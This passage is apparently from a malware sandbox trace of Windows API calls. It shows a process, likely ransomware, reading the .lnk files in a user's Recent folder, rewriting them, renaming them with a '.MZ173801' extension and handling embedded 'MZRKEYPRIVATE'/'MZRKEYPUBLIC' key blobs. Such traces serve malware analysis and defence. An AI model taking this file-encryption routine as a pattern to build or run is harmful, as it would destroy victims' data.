lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.631] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.631] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x5c3 [0151.631] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.631] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x5c3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x5c3, lpOverlapped=0x0) returned 1 [0151.632] CloseHandle (hObject=0x280) returned 1 [0151.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QRroD6XCz-BrMFrtkIV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qrrod6xcz-brmfrtkiv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.634] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x5c3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x5c3, lpOverlapped=0x0) returned 1 [0151.635] CloseHandle (hObject=0x280) returned 1 [0151.639] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QRroD6XCz-BrMFrtkIV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qrrod6xcz-brmfrtkiv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QRroD6XCz-BrMFrtkIV.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qrrod6xcz-brmfrtkiv.lnk.mz173801")) returned 1 [0151.640] GetCurrentThreadId () returned 0xab4 [0151.640] GetCurrentThreadId () returned 0xab4 [0151.640] GetCurrentThreadId () returned 0xab4 [0151.640] GetCurrentThreadId () returned 0xab4 [0151.640] GetCurrentThreadId () returned 0xab4 [0151.640] GetCurrentThreadId () returned 0xab4 [0151.640] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552e30ff, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x552e30ff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x552e30ff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="QsHzM41CtrXDXmh.lnk", cAlternateFileName="QSHZM4~1.LNK")) returned 1 [0151.640] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.640] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.641] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsHzM41CtrXDXmh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qshzm41ctrxdxmh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552e30ff, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x552e30ff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x552e30ff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2a1)) returned 1 [0151.641] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsHzM41CtrXDXmh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qshzm41ctrxdxmh.lnk")) returned 0x20 [0151.641] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsHzM41CtrXDXmh.lnk", dwFileAttributes=0x80) returned 1 [0151.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.645] GetCurrentThreadId () returned 0xab4 [0151.645] GetCurrentThreadId () returned 0xab4 [0151.645] GetCurrentThreadId () returned 0xab4 [0151.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.646] GetCurrentThreadId () returned 0xab4 [0151.646] GetCurrentThreadId () returned 0xab4 [0151.646] GetCurrentThreadId () returned 0xab4 [0151.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsHzM41CtrXDXmh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qshzm41ctrxdxmh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.647] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2a1 [0151.647] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.647] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2a1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2a1, lpOverlapped=0x0) returned 1 [0151.648] CloseHandle (hObject=0x280) returned 1 [0151.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsHzM41CtrXDXmh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qshzm41ctrxdxmh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.649] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2a1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2a1, lpOverlapped=0x0) returned 1 [0151.651] CloseHandle (hObject=0x280) returned 1 [0151.654] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsHzM41CtrXDXmh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qshzm41ctrxdxmh.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsHzM41CtrXDXmh.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qshzm41ctrxdxmh.lnk.mz173801")) returned 1 [0151.655] GetCurrentThreadId () returned 0xab4 [0151.655] GetCurrentThreadId () returned 0xab4 [0151.655] GetCurrentThreadId () returned 0xab4 [0151.655] GetCurrentThreadId () returned 0xab4 [0151.655] GetCurrentThreadId () returned 0xab4 [0151.656] GetCurrentThreadId () returned 0xab4 [0151.656] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf472b621, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf472b621, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf472b621, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RaqZQNwTN3mbA0F.lnk", cAlternateFileName="RAQZQN~1.LNK")) returned 1 [0151.656] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.894] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RaqZQNwTN3mbA0F.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\raqzqnwtn3mba0f.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf472b621, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf472b621, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf472b621, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x48e)) returned 1 [0151.894] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RaqZQNwTN3mbA0F.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\raqzqnwtn3mba0f.lnk")) returned 0x20 [0151.894] SetFileAttributesW 